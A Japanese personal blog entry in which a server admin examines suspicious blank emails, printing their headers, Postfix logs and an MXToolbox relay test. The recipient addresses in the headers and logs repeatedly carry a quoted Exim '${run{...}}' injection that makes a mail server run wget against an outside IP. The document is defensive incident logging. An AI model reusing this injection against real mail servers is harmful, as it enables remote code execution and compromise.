屑俺日記

☆ どうやら攻撃メール着弾とみた。

Sylpheedで妙なのが。

件名      差出人      日付
(件名なし)(差出人不明)(日付なし)
(件名なし)(差出人不明)(日付なし)
(件名なし)(差出人不明)(日付なし)

メールは次のような内容だった。

Return-Path: <support@service.com>
X-Original-To: root+${run{x2Fbinx2Fsht-ctx22wgetx2064.50.180.45x2ftmpx2fSERVER_IPv4_ADDRx22}}@MY_DOMAIN
Delivered-To: root+${run{x2Fbinx2Fsht-ctx22wgetx2064.50.180.45x2ftmpx2fSERVER_IPv4_ADDRx22}}@MY_DOMAIN
Received: from service.com (unknown [46.101.19.140])
        by $MAIL_SERVER (Postfix) with SMTP id 79287360200;
        Thu, 20 Jun 2019 00:38:09 +0900 (JST)
Authentication-Results: $MAIL_SERVER; dkim=permerror (bad message/signature format)
Received: 1
Received: 2
Received: 3
.
.
.
Received: 31

ついでにログも。

$ sudo grep 79287360200 /var/log/mail.log | sed 's/^.\{24\}//'
postfix/smtpd[6458]: 79287360200: client=unknown[46.101.19.140]
postfix/cleanup[6463]: 79287360200: message-id=<>
opendkim[664]: 79287360200: can't determine message sender; accepting
postfix/qmgr[815]: 79287360200: from=<support@service.com>,
 size=715, nrcpt=3 (queue active)
postfix/virtual[6465]: 79287360200:
 to=<root+${run{x2Fbinx2Fsht-ctx22wgetx2064.50.180.45x2ftmpx2fSERVER_IPv4_ADDRx22}}@MYDOMAIN>,
 relay=virtual, delay=1.3, delays=1.3/0.01/0/0, dsn=2.0.0, status=sent (delivered to maildir)
postfix/local[6464]: 79287360200:
 to=<root+${run{x2Fbinx2Fsht-ctx22wgetx2064.50.180.45x2ftmpx2fSERVER_IPv4_ADDRx22}}@localhost>,
 relay=local, delay=1.4, delays=1.3/0.04/0/0.01, dsn=2.0.0, status=sent (forwarded as 8FA38360235)
postfix/local[6464]: 79287360200:
 to=<root+${run{x2Fbinx2Fsht-ctx22wgetx2064.50.180.45x2ftmpx2fSERVER_IPv4_ADDRx22}}@MAIL_SERVER>,
 relay=local, delay=1.4, delays=1.3/0.05/0/0, dsn=2.0.0, status=sent (forwarded as 926CF36026C)
postfix/qmgr[815]: 79287360200: removed

☆ 適当にチェック。

メールサーバーのFQDNを こちらに投げてみた。

Connecting to SERVER_IPv4_ADDR
 
220 MAIL_SERVER ESMTP Postfix (Debian/GNU) [852 ms]
EHLO keeper-us-east-1b.mxtoolbox.com
250-MAIL_SERVER
250-PIPELINING
250-SIZE 31457280
250-ETRN
250-STARTTLS
250-AUTH CRAM-MD5
250-ENHANCEDSTATUSCODES
250-8BITMIME
250-DSN
250 SMTPUTF8 [788 ms]
MAIL FROM:<supertool@mxtoolbox.com>
250 2.1.0 Ok [805 ms]
RCPT TO:<test@mxtoolboxsmtpdiag.com>
454 4.7.1 <test@mxtoolboxsmtpdiag.com>: Relay access denied [786 ms]
 
LookupServer 5122ms

こちらのログも。

$ sudo grep 11970 /var/log/mail.log | sed 's/^.\{24\}//'
postfix/smtpd[11970]: connect from keeper-us-east-1b.mxtoolbox.com[52.55.244.91]
postfix/smtpd[11970]: NOQUEUE:
 reject: RCPT from keeper-us-east-1b.mxtoolbox.com[52.55.244.91]: 454 4.7.1
 <test@mxtoolboxsmtpdiag.com>: Relay access denied;
 from=<supertool@mxtoolbox.com>
 to=<test@mxtoolboxsmtpdiag.com>
 proto=ESMTP helo=<keeper-us-east-1b.mxtoolbox.com>
postfix/smtpd[11970]: disconnect from keeper-us-east-1b.mxtoolbox.com[52.55.244.91]
 ehlo=1 mail=1 rcpt=0/1 quit=1 commands=3/4